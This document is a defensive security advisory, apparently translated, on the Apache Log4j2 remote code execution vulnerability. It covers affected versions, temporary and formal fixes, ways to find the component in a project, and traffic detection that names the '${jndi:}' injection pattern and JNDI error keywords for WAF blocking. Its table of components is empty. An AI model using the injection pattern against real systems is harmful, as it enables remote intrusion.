0x01 Vulnerability Background
On December 9, it was detected that the Apache Log4j2 remote code execution vulnerability was disclosed on the Internet. Due to the recursive parsing function of some functions of Apache Log4j2, an unauthenticated attacker can execute any code. The PoC of the vulnerability has been made public on the Internet, and the default configuration can be exploited. This vulnerability affects a wide range. It is recommended that relevant users take measures to investigate and protect it as soon as possible.
0x02 risk level
serious
0x03 affects the version
Affected versions:
Apache Log4j 2.x < 2.15.0-rc2
0x04 Supply chain scope of influence:
Known affected apps and components:
| 1 2 3 4 |
|
More components can refer to the following link:
https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/usages?p=1
Unaffected version:
Apache log4j-2.15.0-rc1 has been replaced Bypass, still an insecure version.
Apache log4j-2.15.0-rc2
Safe JDK version (if the above components are used, the following JDK is also safe):
It is recommended to use JDK: 11.0.1, 8u191, 7u201, 6u211 and higher versions
0x04 Repair suggestion
1. Temporary strategy:
1. Add jvm startup parameters: -Dlog4j2.formatMsgNoLookups=true
2. Add the log4j2.component.properties configuration file under the application classpath, the file content is: log4j2.formatMsgNoLookups=true
3. It is recommended that JDK use higher versions of 11.0.1, 8u191, 7u201, 6u211 and above
2. Formal strategy:
1. Upgrade to Log4j 2.15.0 r2 (r1 has been bypassed)
0x05 detection scheme
1. Relevant users can judge whether a component with a vulnerability is used according to whether there is a related path structure of org/apache/logging/log4j after decompressing the Java jar. If there is a related Java package, the vulnerability is likely to exist.
2. If the program is packaged with Maven, check whether the relevant fields shown in the figure below exist in the pom.xml file of the project. If the version number is less than 2.15.0, this vulnerability exists.
3. If the program is packaged with gradle, you can view the build.gradle compilation configuration file. If there are org.apache.logging.log4j related fields in the dependencies section, and the version number is less than 2.15.0, this vulnerability exists.
0x06 traffic layer detection scheme
1. Attackers usually use the dnslog method to scan and detect before exploiting. The common exploit method can be through the "javax.naming.CommunicationException" and "javax.naming.NamingException: problem generating object using object factory" in the application system error log ", "Error looking up JNDI resource" keywords for troubleshooting.
2. There may be "${jndi:}" in the data packet sent by the attacker. It is recommended to use full flow or WAF device for retrieval, troubleshooting and blocking.
Suggested Disposal Process:
1. The WAF and IDC boundary firewalls on the cloud add blocking and filtering policies.
2. Connect to the domain name of the cloud protection vendor to enable cloud protection to intercept the exploitation of this vulnerability.
3. Situational awareness and full traffic are added to the detection rules to check the list of externally affected assets and give priority to repairing external business.
4. Internal molecular organizations and commercial product manufacturers, push vulnerability warning announcements internally, push each branch company to conduct preliminary investigation and defense upgrade by itself.
5. This vulnerability is an application layer vulnerability, which needs to be solved by R&D and component upgrades. Contact the code base administrator to write scripts for all known code bases to detect the list of affected items and repair them after pulling, or use HIDS to pull affected assets The checklist is pushed to the project team through vulnerability management to repair and strengthen.